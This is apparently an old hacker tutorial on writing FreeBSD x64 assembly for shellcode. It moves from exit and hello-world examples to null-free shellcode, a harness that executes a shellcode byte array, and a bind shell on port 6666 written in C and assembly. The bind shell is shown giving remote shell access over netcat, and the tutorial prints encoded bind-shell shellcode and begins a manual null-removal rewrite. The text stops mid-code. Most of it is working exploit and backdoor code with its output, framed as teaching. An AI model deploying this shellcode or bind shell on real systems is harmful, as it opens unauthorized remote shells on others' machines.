This whitepaper is an introduction to writing assembly on FreeBSD x64, specifically amd64.
7026fb1db70979122ca63df00e18bef6622a7e992588c6335c74246b6356cf34
|=-----------------=[ Writing Assembly on FreeBSD (x64)]=--------------=|
|=---------------------------------------------------------------------=|
|=------------------------entropy [at] phiral.net----------------------=|
|=---------------------------------------------------------------------=|
|=------------------------the devil made me do it----------------------=|
----[ Intro
I assume you know how to write in asm on x86 in AT&T syntax. I also
assume you will read or have read Jon Larimer's[1] SummerCon[2] slides
and Sys V ABI[3]. If you need an extremely easy intro to *remind* you of
what you have forgotten over the years of partying and excessive drinking
I would first say to read x64 Windows Debugging: Practical Foundations[4]
and Writing Assembly on OpenBSD (x86)[5] as we are going to do a very
similar example.
----[ _exit(0)
Start out with the most basic possible:
[entropy@phiral ~/code/fbsd_x64]$ man 2 _exit
...
void
_exit(int status);
...
_exit takes one param, the value to return. To get its syscall number
[entropy@phiral ~/code/fbsd_x64]$ cat /usr/src/sys/kern/syscalls.master |\
grep _exit
1 AUE_EXIT STD { void sys_exit(int rval); } exit \
Since everyone read all the required reading (...) we know to put the
syscall number of _exit into rax, and the first paramater into rdi, and
call kernel int $0x80.
Code looks like:
[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .text
.globl _start
_start:
nop
movq $1, %rax
movq $13, %rdi
int $0x80
Assemble, link and run.
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o
[entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit
[entropy@phiral ~/code/fbsd_x64]$ ./exit
[entropy@phiral ~/code/fbsd_x64]$ echo $?
13
But have a look at these nasty ass honey badger opcodes:
[entropy@phiral ~/code/fbsd_x64]$ objdump -d exit
exit: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 48 c7 c0 01 00 00 00 mov $0x1,%rax
4000b8: 48 c7 c7 0d 00 00 00 mov $0xd,%rdi
4000bf: cd 80 int $0x80
GCC, and basically any assembler/linker will optimize it into something
like:
[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .text
.globl _start
_start:
nop
pushq $1; popq %rax
pushq $13; popq %rdi
int $0x80
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o
[entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit
[entropy@phiral ~/code/fbsd_x64]$ objdump -d exit
exit: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 01 pushq $0x1
4000b3: 58 pop %rax
4000b4: 6a 0d pushq $0xd
4000b6: 5f pop %rdi
4000b7: cd 80 int $0x80
Much nicer.
Add some defines to make the code easier to read and you get:
[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .rodata
.equ SYS_EXIT,1
.equ EXIT_RET,13
.equ KERNEL, 0x80
.section .text
.globl _start
_start:
nop
pushq $SYS_EXIT; popq %rax
pushq $EXIT_RET; popq %rdi
int $KERNEL
Boring.
----[ Hello World!
Same thing for this, see what params write() takes and find its syscall
number.
[entropy@phiral ~/code/fbsd_x64]$ man 2 write
...
ssize_t
write(int d, const void *buf, size_t nbytes);
...
Takes the d (file descriptor) to write to, which will be STDOUT (1),
pointer to some string, and the size of the string.
And the syscall number for write is...
[entropy@phiral ~/code/fbsd_x64]$ grep write \
/usr/src/sys/kern/syscalls.master
4 AUE_NULL STD { ssize_t write(int fd, const void *buf,
And we keep our _exit in there to exit when done. So put 4 in rax for the
write syscall, put 1 in rdi (first param), put address of string into rsi
(second param), and using our math skillz to count that "Hello, World!\n"
is 14 chars, so put 14 into rdx (third param).
[entropy@phiral ~/code/fbsd_x64]$ cat write.s
.section .rodata
.equ SYS_EXIT, 1
.equ SYS_WRITE, 4
.equ EXIT_RET, 13
.equ KERNEL, 0x80
.equ STDOUT, 1
.equ HELLO_LEN, 14
.section .data
hello:
.ascii "Hello, World!", "\n"
.section .text
.globl _start
_start:
nop
# write(1, *hello, 14)
pushq $SYS_WRITE; popq %rax # 4 (write syscall) into rax
pushq $STDOUT; popq %rdi # 1 (STDOUT) into rdi
pushq $hello; popq %rsi # address of hello into rsi
pushq $HELLO_LEN; popq %rdx # 14 (HELLO_LEN) into rdx
int $KERNEL # call kernel
pushq $SYS_EXIT; popq %rax # 1 (_exit syscall) into rax
pushq $EXIT_RET; popq %rdi # 13 (EXIT_RET) into rdi
int $KERNEL # call kernel
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs write.s -o write.o
[entropy@phiral ~/code/fbsd_x64]$ ld write.o -o write
[entropy@phiral ~/code/fbsd_x64]$ ./write
Hello, World!
[entropy@phiral ~/code/fbsd_x64]$ objdump -d write
write: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 04 pushq $0x4
4000b3: 58 pop %rax
4000b4: 6a 01 pushq $0x1
4000b6: 5f pop %rdi
4000b7: 68 d0 00 50 00 pushq $0x5000d0
4000bc: 5e pop %rsi
4000bd: 6a 0e pushq $0xe
4000bf: 5a pop %rdx
4000c0: cd 80 int $0x80
4000c2: 6a 01 pushq $0x1
4000c4: 58 pop %rax
4000c5: 6a 0d pushq $0xd
4000c7: 5f pop %rdi
4000c8: cd 80 int $0x80
Since we are doing this for shellcode, we want to get rid of those
dirty whore nulls, which is the address $0x5000d0 (address of the
string). What we can do is push immediate values onto the stack, the
hex of 'Hello, World!\n', backwards. We have to pad it with 4 A's
which we will over write with \x0s since strlen('Hello, World!\n')
is != 16.
[entropy@phiral ~/code/fbsd_x64]$ cat write_leet.s
.section .rodata
.equ SYS_EXIT, 1
.equ SYS_WRITE, 4
.equ EXIT_RET, 13
.equ KERNEL, 0x80
.equ STDOUT, 1
.equ HELLO_LEN, 14
.section .text
.globl _start
_start:
nop
# write(1, *hello, 14)
pushq $SYS_WRITE; popq %rax # 4 (write syscall) into rax
pushq $STDOUT; popq %rdi # 1 (STDOUT) into rdi
movq $0xAAAA0a21646c726f, %rcx # put orld!\nAAAA into rcx
pushq %rcx # push it onto stack
movq $0x57202c6f6c6c6548, %rcx # put Hello, W into rcx
pushq %rcx # push it onto stack
# so here rsp is pointing to [Hello, W][orld\n!AAAA]
# we want to overwrite those A's with 0s so
xorq %rbx, %rbx # set rbx to 0
xorq %rcx, %rcx # set rcx to 0
movb $14, %cl # set cl to 14 (index into string
# to first A)
movw %bx, (%rsp, %rcx, 1) # write a word of 0000
movq %rsp, %rsi # put rsps address into rsi
# so here rsp is pointing to [Hello, W][orld\n!0000]
pushq $HELLO_LEN; popq %rdx # 14 (HELLO_LEN) into rdx
int $KERNEL # call kernel
pushq $SYS_EXIT; popq %rax # 1 (_exit syscall) into rax
pushq $EXIT_RET; popq %rdi # 13 (EXIT_RET) into rdi
int $KERNEL # call kernel
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs write_leet.s -o write_leet.o
[entropy@phiral ~/code/fbsd_x64]$ ld write_leet.o -o write_leet
[entropy@phiral ~/code/fbsd_x64]$ ./write_leet
Hello, World!
[entropy@phiral ~/code/fbsd_x64]$ objdump -d write_leet
write_leet: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 04 pushq $0x4
4000b3: 58 pop %rax
4000b4: 6a 01 pushq $0x1
4000b6: 5f pop %rdi
4000b7: 48 b9 6f 72 6c 64 21 mov $0xaaaa0a21646c726f,%rcx
4000be: 0a aa aa
4000c1: 51 push %rcx
4000c2: 48 b9 48 65 6c 6c 6f mov $0x57202c6f6c6c6548,%rcx
4000c9: 2c 20 57
4000cc: 51 push %rcx
4000cd: 48 31 db xor %rbx,%rbx
4000d0: 48 31 c9 xor %rcx,%rcx
4000d3: b1 0e mov $0xe,%cl
4000d5: 66 89 1c 0c mov %bx,(%rsp,%rcx,1)
4000d9: 48 89 e6 mov %rsp,%rsi
4000dc: 6a 0e pushq $0xe
4000de: 5a pop %rdx
4000df: cd 80 int $0x80
4000e1: 6a 01 pushq $0x1
4000e3: 58 pop %rax
4000e4: 6a 0d pushq $0xd
4000e6: 5f pop %rdi
4000e7: cd 80 int $0x80
No nulls...
[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh write_leet
\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72
\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65
\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48
\x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6
\x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f
\xcd\x80
[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] = "\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72"
"\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65"
"\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48"
"\x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6"
"\x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f"
"\xcd\x80";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:10: warning: cast from pointer to integer of different size
sc.c:7: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc
Hello, World!
ready to start poppin some boxes printing 'Hello, World!' ftw
----[ Retro Bindshell
For an example thats easy to understand do a old school bindshell.
[entropy@phiral ~/code/fbsd_x64]$ cat portbind.c
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define PORT 6666
int
main (void) {
char *shell[2];
int listen_socket, accept_socket, len;
struct sockaddr_in s;
/* create a tcp socket */
listen_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
/* address family */
s.sin_family = AF_INET;
/* bind to all address on box */
s.sin_addr.s_addr = htonl(INADDR_ANY);
/* listen on the port */
s.sin_port = htons(PORT);
/* bind to port */
bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
/* listen for connects */
listen(listen_socket, 1);
len = sizeof(s);
/* accept a connect on listenign socket */
accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
/* dup stdin, out and err to the newly created socket */
dup2(accept_socket, STDIN);
dup2(accept_socket, STDOUT);
dup2(accept_socket, STDERR);
/* char **shell */
shell[0] = "/bin/sh";
shell[1] = NULL;
/* exec the shell */
execve(shell[0], shell, NULL);
/* never reach here, well hopefully */
_exit(0);
}
Listens on every ip on the box on port 6666.
[entropy@phiral ~/code/fbsd_x64]$ gcc portbind.c -o portbind
[entropy@phiral ~/code/fbsd_x64]$ ./portbind
maihem@sparky ~$ nc 172.16.233.85 6666
ls
apache2_shl
apache2_shl.o
apache2_shl.s
exit
exit.o
exit.s
fbsd_x64_encoder
fbsd_x64_encoder.o
fbsd_x64_encoder.s
get-sc.sh
ipv6_die
ipv6_die.o
ipv6_die.s
pb-opt.s
portbind
portbind.c
portbind2.c
sc
sc.c
write
write.o
write.s
write_leet
write_leet.o
write_leet.s
exit
Ok to start we need struct sockaddr since bind and accept both use it.
[entropy@phiral ~/code/fbsd_x64]$ grep 'struct sockaddr_in' -A7 -m1 \
/usr/include/netinet/in.h
struct sockaddr_in {
uint8_t sin_len;
sa_family_t sin_family;
in_port_t sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
uint8_t sin_len is obviously a byte
[entropy@phiral ~/code/fbsd_x64]$ grep sa_family /usr/include/sys/*.h
/usr/include/sys/_types.h:typedef __uint8_t __sa_family_t;
/usr/include/sys/socket.h:typedef __sa_family_t sa_family_t;
sa_family_t is a byte
[entropy@phiral ~/code/fbsd_x64]$ grep in_port_t \
/usr/include/sys/types.h
typedef __uint16_t in_port_t;
in_port_t is a word
[entropy@phiral ~/code/fbsd_x64]$ grep 'struct in_addr' -A2 -m1 \
/usr/include/netinet/in.h
struct in_addr {
in_addr_t s_addr;
};
[entropy@phiral ~/code/fbsd_x64]$ grep in_addr_t \
/usr/include/sys/types.h
typedef __uint32_t in_addr_t; /* base type for internet address
*/
and in_addr_t a long.
The whole struct then looks like this:
struct sockaddr_in {
uint8_t sin_len; /* 1 byte */
uint8_t sin_family; /* 1 byte */
uint16_t sin_port; /* 2 bytes */
uint32_t sin_addr; /* 4 bytes */
int8_t sin_zero[8]; /* 8 bytes */
};
Now we know sizeof(sockaddr_in) is 16 bytes. Let get the values of PF_INET,
SOCK_STREAM, IPPROTO_TCP, AF_INET and INADDR_ANY.
[entropy@phiral ~/code/fbsd_x64]$ grep PF_INET /usr/include/sys/socket.h
#define PF_INET AF_INET
[entropy@phiral ~/code/fbsd_x64]$ grep AF_INET /usr/include/sys/socket.h
#define AF_INET 2 /* internetwork: UDP, TCP, etc. */
[entropy@phiral ~/code/fbsd_x64]$ grep SOCK_STREAM \
/usr/include/sys/socket.h
#define SOCK_STREAM 1 /* stream socket */
[entropy@phiral ~/code/fbsd_x64]$ grep IPPROTO_TCP \
/usr/include/netinet/in.h
#define IPPROTO_TCP 6 /* tcp */
[entropy@phiral ~/code/fbsd_x64]$ grep INADDR_ANY \
/usr/include/netinet/in.h
#define INADDR_ANY (u_int32_t)0x00000000
So we have:
PF_INET = 2
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_TCP = 6
INADDR_ANY = 0
The htons (host to network short) just converts the byte order to
big-endian so just do that manually:
[entropy@phiral ~/code/fbsd_x64]$ printf "0x%x\n" 6666
0x1a0a
[entropy@phiral ~/code/fbsd_x64]$ printf "%d\n" 0x0a1a
2586
And of course STDIN is 0, STDOUT is 1 and STDERR is 2.
With this info we can rewrite the portbind2.c with our new info, we
need these for our asm as we wont have any includes and will be
calling syscalls directlly.
[entropy@phiral ~/code/fbsd_x64]$ cat portbind2.c
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
struct sockaddr_in {
uint8_t sin_len; /* 1 byte */
uint8_t sin_family; /* 1 byte */
uint16_t sin_port; /* 2 bytes */
uint32_t sin_addr; /* 4 bytes */
int8_t sin_zero[8]; /* 8 bytes */
};
int
main (void) {
char *shell[2];
int listen_socket, accept_socket, len;
struct sockaddr_in s;
/* create a tcp socket */
listen_socket = socket(2, 1, 6);
/* address family */
s.sin_family = 2;
/* bind to all address on box */
s.sin_addr = 0;
/* listen on the port */
s.sin_port = 2586;
/* bind to port */
bind(listen_socket, (struct sockaddr *)&s, 16);
/* listen for connects */
listen(listen_socket, 1);
len = 16;
/* accept a connect on listenign socket */
accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
/* dup stdin, out and err to the newly created socket */
dup2(accept_socket, 0);
dup2(accept_socket, 1);
dup2(accept_socket, 2);
/* char **shell */
shell[0] = "/bin/sh";
shell[1] = NULL;
/* exec the shell */
execve(shell[0], shell, NULL);
/* never reach here, well hopefully */
_exit(0);
}
[entropy@phiral ~/code/fbsd_x64]$ gcc portbind2.c -o portbind2
[entropy@phiral ~/code/fbsd_x64]$ ./portbind2
maihem@sparky ~$ nc 172.16.233.85 6666
uname -a
FreeBSD phiral 8.2-RELEASE FreeBSD 8.2-RELEASE #1: Sun Aug 21 16:43:40
EDT 2011
entropy@:/usr/src/sys/amd64/compile/DARKNESS amd64
exit
Now we need all the syscall numbers for are socket(), bind(),
listen(), accept(), dup2(), execve() and exit().
[entropy@phiral ~/code/fbsd_x64]$ for i in socket bind listen accept \
dup2 execve exit; do grep -m1 $i /usr/src/sys/kern/syscalls.master; \
done
97 AUE_SOCKET STD { int socket(int domain, int type, \
104 AUE_BIND STD { int bind(int s, caddr_t name, \
106 AUE_LISTEN STD { int listen(int s, int backlog); }
30 AUE_ACCEPT STD { int accept(int s, \
90 AUE_DUP2 STD { int dup2(u_int from, u_int to); }
59 AUE_EXECVE STD { int execve(char *fname, char **argv, \
1 AUE_EXIT STD { void sys_exit(int rval); } exit \
And get their prototypes (man 2 ):
int
socket(int domain, int type, int protocol);
int
bind(int s, const struct sockaddr *name, socklen_t namelen);
int
listen(int s, int backlog);
int
accept(int s, struct sockaddr * restrict addr,
socklen_t * restrict addrlen);
int
dup2(int oldd, int newd);
int
execve(const char *path, char *const argv[], char *const envp[]);
void
_exit(int status);
Start coding, in pieces.
[entropy@phiral ~/code/fbsd_x64]$ cat pb-opt1.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .data
sockaddr_in:
sin_len:
.byte 0
sin_family:
.byte 0
sin_port:
.word 0
sin_addr:
.long 0
sin_zero:
.long 0,0,0,0,0,0,0,0
listen_sock:
.long 0
accept_sock:
.long 0
socklen:
.long 0
shell:
.ascii "/bin/sh\0"
shelladdr:
.quad 0
.section .text
.globl _start
_start:
nop
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax # SYS_SOCKET syscall number
# into rax
pushq $PF_INET; popq %rdi # PF_INET into rdi
pushq $SOCK_STREAM; popq %rsi # SOCK_STREAM into rsi
pushq $IPPROTO_TCP; popq %rdx # IPPROTO_TCP into rdx
int $KERN # call kernel
movl %eax, listen_sock # save return address in
# listen_sock
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt1.s -o pb-opt1.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-opt1.o -o pb-opt1
[entropy@phiral ~/code/fbsd_x64]$ ktrace ./pb-opt1
[entropy@phiral ~/code/fbsd_x64]$ kdump
12599 ktrace RET ktrace 0
12599 ktrace CALL execve(0x7fffffffec67,0x7fffffffe9d8,0x7fffffffe9e8)
12599 ktrace NAMI "./pb-opt1"
12599 pb-opt1 RET execve 0
12599 pb-opt1 CALL socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)
12599 pb-opt1 RET socket 3
12599 pb-opt1 CALL exit(0)
socket(PF_INET,SOCK_STREAM,IPPROTO_TCP) call looks fine.
[entropy@phiral ~/code/fbsd_x64]$ gdb -q pb-opt1
(gdb) disas _start
Dump of assembler code for function _start:
0x00000000004000b0 <_start+0>: nop
0x00000000004000b1 <_start+1>: pushq $0x61
0x00000000004000b3 <_start+3>: pop %rax
0x00000000004000b4 <_start+4>: pushq $0x2
0x00000000004000b6 <_start+6>: pop %rdi
0x00000000004000b7 <_start+7>: pushq $0x1
0x00000000004000b9 <_start+9>: pop %rsi
0x00000000004000ba <_start+10>: pushq $0x6
0x00000000004000bc <_start+12>: pop %rdx
0x00000000004000bd <_start+13>: int $0x80
0x00000000004000bf <_start+15>: mov %eax,0x5000f8
0x00000000004000c6 <_start+22>: pushq $0x1
0x00000000004000c8 <_start+24>: pop %rax
0x00000000004000c9 <_start+25>: xor %rdi,%rdi
0x00000000004000cc <_start+28>: int $0x80
End of assembler dump.
(gdb) b *_start+15
Breakpoint 1 at 0x4000bf: file pb-opt1.s, line 55.
(gdb) r
Starting program: /home/entropy/code/fbsd_x64/pb-opt1
Breakpoint 1, _start () at pb-opt1.s:55
55 movl %eax, listen_sock # save return
address in listen_sock
Current language: auto; currently asm
(gdb) s
58 pushq $1; popq %rax
(gdb) p $rax
$1 = 7
(gdb) x/d &listen_sock
0x5000f8 : 7
(gdb) c
Continuing.
Program exited normally.
(gdb) q
The rest follows the same patten so the final code is here:
[entropy@phiral ~/code/fbsd_x64]$ cat pb-opt-final.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .data
sockaddr_in:
sin_len:
.byte 0
sin_family:
.byte 0
sin_port:
.word 0
sin_addr:
.long 0
sin_zero:
.long 0,0,0,0,0,0,0,0
listen_sock:
.long 0
accept_sock:
.long 0
socklen:
.long 0
shell:
.ascii "/bin/sh\0"
shelladdr:
.quad 0
.section .text
.globl _start
_start:
nop
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
movl %eax, listen_sock
# build the sockaddr_in
movl $AF_INET, sin_family
movl $INADDR_ANY, sin_addr
movl $PORT, sin_port
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
pushq $SYS_BIND; popq %rax
pushq listen_sock; pop %rdi
leaq sockaddr_in, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq listen_sock; popq %rdi
pushq $1; popq %rsi
int $KERN
# accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
# we already build the sockaddr_in above
movl $SOCKADDR_IN_SIZE, socklen
pushq $SYS_ACCEPT; popq %rax
pushq listen_sock; popq %rdi
leaq sockaddr_in, %rsi
leaq socklen, %rdx
int $KERN
movl %eax, accept_sock
# dup2 these rich whores
# dup2(accept_socket, 0);
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDIN; popq %rsi
int $KERN
# dup2(accept_socket, 1);
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDOUT; popq %rsi
int $KERN
# dup2(accept_socket, 2);
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDERR; popq %rsi
int $KERN
# execve(shell[0], shell, NULL);
pushq $SYS_EXECVE; popq %rax
leaq shell, %rdi
leaq shelladdr, %rsi
xorq %rdx, %rdx
int $KERN
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt-final.s -o \
pb-opt-final.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-opt-final.o -o pb-opt-final
[entropy@phiral ~/code/fbsd_x64]$ ./pb-opt-final
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
----[ Null removal
[entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-opt-final
pb-opt-final: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 61 pushq $0x61
4000b3: 58 pop %rax
4000b4: 6a 02 pushq $0x2
4000b6: 5f pop %rdi
4000b7: 6a 01 pushq $0x1
4000b9: 5e pop %rsi
4000ba: 6a 06 pushq $0x6
4000bc: 5a pop %rdx
4000bd: cd 80 int $0x80
4000bf: 89 04 25 b8 01 50 00 mov %eax,0x5001b8
4000c6: c7 04 25 91 01 50 00 movl $0x2,0x500191
4000cd: 02 00 00 00
4000d1: c7 04 25 94 01 50 00 movl $0x0,0x500194
4000d8: 00 00 00 00
4000dc: c7 04 25 92 01 50 00 movl $0xa1a,0x500192
4000e3: 1a 0a 00 00
4000e7: 6a 68 pushq $0x68
4000e9: 58 pop %rax
4000ea: ff 34 25 b8 01 50 00 pushq 0x5001b8
4000f1: 5f pop %rdi
4000f2: 48 8d 34 25 90 01 50 lea 0x500190,%rsi
4000f9: 00
4000fa: 6a 10 pushq $0x10
4000fc: 5a pop %rdx
4000fd: cd 80 int $0x80
4000ff: 6a 6a pushq $0x6a
400101: 58 pop %rax
400102: ff 34 25 b8 01 50 00 pushq 0x5001b8
400109: 5f pop %rdi
40010a: 6a 01 pushq $0x1
40010c: 5e pop %rsi
40010d: cd 80 int $0x80
40010f: c7 04 25 c0 01 50 00 movl $0x10,0x5001c0
400116: 10 00 00 00
40011a: 6a 1e pushq $0x1e
40011c: 58 pop %rax
40011d: ff 34 25 b8 01 50 00 pushq 0x5001b8
400124: 5f pop %rdi
400125: 48 8d 34 25 90 01 50 lea 0x500190,%rsi
40012c: 00
40012d: 48 8d 14 25 c0 01 50 lea 0x5001c0,%rdx
400134: 00
400135: cd 80 int $0x80
400137: 89 04 25 bc 01 50 00 mov %eax,0x5001bc
40013e: 6a 5a pushq $0x5a
400140: 58 pop %rax
400141: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi
400148: 6a 00 pushq $0x0
40014a: 5e pop %rsi
40014b: cd 80 int $0x80
40014d: 6a 5a pushq $0x5a
40014f: 58 pop %rax
400150: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi
400157: 6a 01 pushq $0x1
400159: 5e pop %rsi
40015a: cd 80 int $0x80
40015c: 6a 5a pushq $0x5a
40015e: 58 pop %rax
40015f: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi
400166: 6a 02 pushq $0x2
400168: 5e pop %rsi
400169: cd 80 int $0x80
40016b: 6a 3b pushq $0x3b
40016d: 58 pop %rax
40016e: 48 8d 3c 25 c4 01 50 lea 0x5001c4,%rdi
400175: 00
400176: 48 8d 34 25 cc 01 50 lea 0x5001cc,%rsi
40017d: 00
40017e: 48 31 d2 xor %rdx,%rdx
400181: cd 80 int $0x80
400183: 6a 01 pushq $0x1
400185: 58 pop %rax
400186: 48 31 ff xor %rdi,%rdi
400189: cd 80 int $0x80
This as a fuck load of nulls in it to get rid of. You can either use
some super 31337 encoder like...
[entropy@phiral ~/code/fbsd_x64]$ ./fbsd_x64_encoder pb-opt-final
[*] Pass 0 ..
[*] Pass 1 ..................
[*] Pass 2 ....
[*] Pass 3 ........
[*] Pass 4 .....
[*] Pass 5 ............
[*] Shellcode:
\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd
\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52
\x48\x31\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04
\x0c\x1a\x0a\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10
\x5a\xcd\x80\x6a\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80
\x6a\x1e\x58\x41\x50\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10
\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31\xc9\x41\x89\xc1\x6a
\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80\x6a\x5a\x58\x44
\x89\xcf\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a
\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6
\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7
\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2
\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80
... or do it the manual way.
All those addreses in the .data section are the problem, so we will
just do it all on the stack and in registers. One block at a time.
/**** socket ****/
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
movl %eax, listen_sock
becomes
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
xorq %r8, %r8 # clear %r8
movl %eax, %r8d # store listen_sock int %r8d
/**** bind ****/
# builds sockaddr_in
movl $AF_INET, sin_family
movl $INADDR_ANY, sin_addr
movl $PORT, sin_port
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
pushq $SYS_BIND; popq %rax
pushq listen_sock; pop %rdi
leaq sockaddr_in, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
becomes
We build the whole sockaddr_in on the stack, only thing we need
is the sin_family which is 1 byte off from the start, and the port
which is two bytes off from the start since everything else is zeroed.
# builds sockaddr_in on the stack
xorq %r10, %r10
pushq %r10
pushq %r10
xorq %rcx, %rcx
movb $1, %cl
movb $AF_INET, (%rsp, %rcx, 1) # 1 byte off from start
movb $2, %cl
movw $PORT, (%rsp, %rcx, 1) # 2 bytes from start
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
pushq $SYS_BIND; popq %rax
pushq %r8; pop %rdi
movq %rsp, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
/**** listen ****/
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq listen_sock; popq %rdi
pushq $1; popq %rsi
int $KERN
becomes
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq %r8; popq %rdi # listen_sock is %r8 now
pushq $1; popq %rsi
int $KERN
/**** accept ****/
movl $SOCKADDR_IN_SIZE, socklen
pushq $SYS_ACCEPT; popq %rax
pushq listen_sock; popq %rdi
leaq sockaddr_in, %rsi
leaq socklen, %rdx
int $KERN
movl %eax, accept_sock
becomes
pushq $SYS_ACCEPT; popq %rax
pushq %r8; popq %rdi # %r8 is listen_sock
movq %rsp, %rsi
